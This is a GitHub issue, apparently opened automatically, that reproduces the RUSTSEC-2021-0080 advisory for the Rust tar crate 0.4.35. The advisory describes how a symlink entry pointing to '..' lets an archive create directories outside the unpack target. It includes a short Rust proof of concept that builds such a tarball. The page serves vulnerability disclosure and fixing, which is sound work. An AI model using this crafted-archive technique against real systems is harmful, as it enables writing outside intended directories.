Skip to content
This repository has been archived by the owner on Dec 21, 2021. It is now read-only.

RUSTSEC-2021-0080: Links in archive can create arbitrary directories #253

Closed
github-actions bot opened this issue Aug 9, 2021 · 0 comments · Fixed by #255
Closed

RUSTSEC-2021-0080: Links in archive can create arbitrary directories #253

github-actions bot opened this issue Aug 9, 2021 · 0 comments · Fixed by #255
Assignees
Milestone

Comments

@github-actions
Copy link

github-actions bot commented Aug 9, 2021

Links in archive can create arbitrary directories

Details
Package tar
Version 0.4.35
URL alexcrichton/tar-rs#238
Date 2021-07-19

When unpacking a tarball that contains a symlink the tar crate may create
directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are
already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This issue was discovered and reported by Martin Michaelis (@mgjm).

See advisory page for additional details.

@lfrancke lfrancke added this to the Release #1 milestone Aug 11, 2021
@siegfriedweber siegfriedweber self-assigned this Aug 11, 2021
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants